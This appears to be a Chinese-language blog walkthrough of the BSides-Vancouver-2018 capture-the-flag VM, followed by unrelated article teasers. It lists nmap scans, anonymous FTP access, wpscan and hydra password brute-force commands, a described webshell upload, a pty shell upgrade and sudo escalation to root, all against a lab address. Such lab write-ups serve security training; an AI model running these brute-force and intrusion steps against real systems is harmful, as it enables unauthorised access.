BSides-Vancouver-2018 ftp匿名访问、hydra爆破22端口、nc瑞士军刀、提权

embedded/2025/3/22 9:36:13/

BSides-Vancouver-2018 ftp匿名访问、hydra爆破22端口、nc瑞士军刀、提权

一、信息收集 2025.3.15 AM 08:50

1、主机发现

arp-scan -l
nmap -sn 192.168.66.24/0

2、端口扫描

简略扫描

nmap -sS -sV 192.168.66.183
简单扫描端口21/tcp open  ftp     vsftpd 2.3.5
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))

漏洞扫描

nmap --script=vuln -p 21,22,80 192.168.66.183
扫描端口历史漏洞PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /robots.txt: Robots file

详细扫描

nmap -sS -A -T4 -p- 192.168.66.183
详细扫描21/tcp open  ftp     vsftpd 2.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 65534    65534        4096 Mar 03  2018 public
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.66.129
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 2.3.5 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 85:9f:8b:58:44:97:33:98:ee:98:b0:c1:85:60:3c:41 (DSA)
|   2048 cf:1a:04:e1:7b:a3:cd:2b:d1:af:7d:b3:30:e0:a0:9d (RSA)
|_  256 97:e5:28:7a:31:4d:0a:89:b2:b0:25:81:d5:36:63:4c (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/backup_wordpress
|_http-title: Site doesn't have a title (text/html).

3、扫描目录

dirb http://192.168.66.183 dirsearch -u http://192.168.66.183/ -e * -i 200 nikto -h 192.168.66.183 -p 80 gobuster dir -u http://192.168.66.183/backup_wordpress/-t30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -s 200,301,302

4、端口访问

Ⅰ、21端口

nc 192.168.66.183 21

这里有个匿名访问,我们先尝试连接21端口,我们拿nc连一下

这里我们连接成功

这里我们得到了几个账户,但是还没有密码,我们可以尝试爆破。

用wpscan扫描WordPress,暴破后台用户名
wpscan --url http://192.168.66.183/backup_wordpress --enumerate u

这两个账户我们再wordpress里面也能找到这两个账户

wpscan --url http://192.168.66.183/backup_wordpress --passwords /usr/share/wordlists/top10000password.txt --usernames john  

这里我们也爆出了账户密码,我们等了一下

Ⅱ、80端口

这里说服务已启动,我们回归目录扫描 我们扫描出来一个robots.txt,然后因该是提示我们有备份文件,我们访问一下

这是一个wordpress备份,按经验来说应该有文件上传点,我们发现了还有一个管理员john

5、隧道建立

我们登录了一个账户

这里也可以上传木马,或者在插件出上传一句话也可以

我们连接到了,先修复一下shell

python -c 'import pty;pty.spawn("/bin/bash")'

6、提权

这里home目录下有几个用户,只有anne这个用户可以ssh连接,我们hydra爆破一下

hydra -L 1.txt -P /usr/share/wordlists/rockyou.txt 192.168.66.183 ssh

ok,我们爆破出来了账户密码,我们ssh连接一下

这里我们sudo -l显示我们对所有文件都有root权限,我们直接sudo su root即可

7、扩展

这里还有其他提权方式

1,查找具有777权限的文件find / -type f -perm 0777 2>/dev/null关键参数解析:
sudo
以 root 权限执行,避免因目录不可读导致的遗漏(若以普通用户身份运行,可能漏掉大量文件)。
-perm 0777
严格匹配权限为 777 的文件(八进制写法更规范)。
2>/dev/null
忽略所有错误(如权限拒绝、文件不存在等)。

后续我也会出更多打靶文章,希望大家关注!谢谢


http://www.ppmy.cn/embedded/173966.html

相关文章

Python语言的代码重构

Python代码重构的艺术与实践 引言 在软件开发过程中,随着项目的不断推进,代码的复杂度通常会逐渐增加。原本简单的程序可能在功能上不断扩展,导致代码的可读性和可维护性下降。此时,代码重构的必要性愈发凸显。本文将从代码重构…

AI 原生 IDE Trae 深度体验:SSHremote 功能助力远程开发与云原生部署

一、前言 大家好,我是 bluetata。在之前的文章中【AI IDE 新势力 Trae 功能深度解析:Builder与Chat模式的应用场景与市场竞争力分析】,我们深入探讨了 Trae 这一 AI 驱动的集成开发环境(IDE),并详细介绍了…

AI第一天 自我理解笔记--微调大模型

目录 1. 确定目标:明确任务和数据 2. 选择预训练模型 3. 数据预处理 (1) 数据清洗与格式化 (2) 划分数据集 (4) 数据加载与批处理 4. 构建微调模型架构 (1) 加载预训练模型 (2) 修改模型尾部(适配任务) (3) 冻结部分层(…

在线JSON格式校验工具站

在线JSON校验格式化工具(Be JSON)在线,JSON,JSON 校验,格式化,xml转json 工具,在线工具,json视图,可视化,程序,服务器,域名注册,正则表达式,测试,在线json格式化工具,json 格式化,json格式化工具,json字符串格式化,json 在线查看器,json在线,json 在线验…

【ArcGIS10.2】ArcGIS10.2彻底卸载

点击Spatial Statistics Tools.tbx就闪退 试了几遍偶尔弹出 目前没找到解决方案,只能换其他版本重装 以下内容记录自己处理的过程 控制面板卸载 打开电脑“控制面板”,找到程序和功能,找到与 ArcGIS 有关的程序,右键单击要卸载的内容&…

k8s常用知识点总结

1.常用的命令 创建pod kubectl apply -f pod的yaml文件路径 kubectl create -f pod的yaml文件路径 删除pod kubectl delete pod - f pod的yaml文件路径 kubectl delete pod pod名 删除其他资源类似,如删除cm资源 kubectl delete cm -f cm的yaml文件路径 kubectl delet…

蓝桥杯 阶乘求值

问题描述 给定 nn,求 n!n! 除以 10000000071000000007 的余数。 其中 n!n! 表示 nn 的阶乘,值为从 11 连乘到 nn 的积,即 n!123…nn!123…n。 输入格式 输入一行包含一个整数 nn。 输出格式 输出一行,包含一个整数,表示…

在鸿蒙Next中开发一个月历组件

最近一直在出差,工作繁忙,很久没有时间更新文章了,连华为开发者大会也错过了。今天周末,忙里偷闲给大家分享一个鸿蒙月历组件。 这样的组件大家在工作中应该经常会遇到,而鸿蒙又没有提供一个这样的系统组件&#xff0c…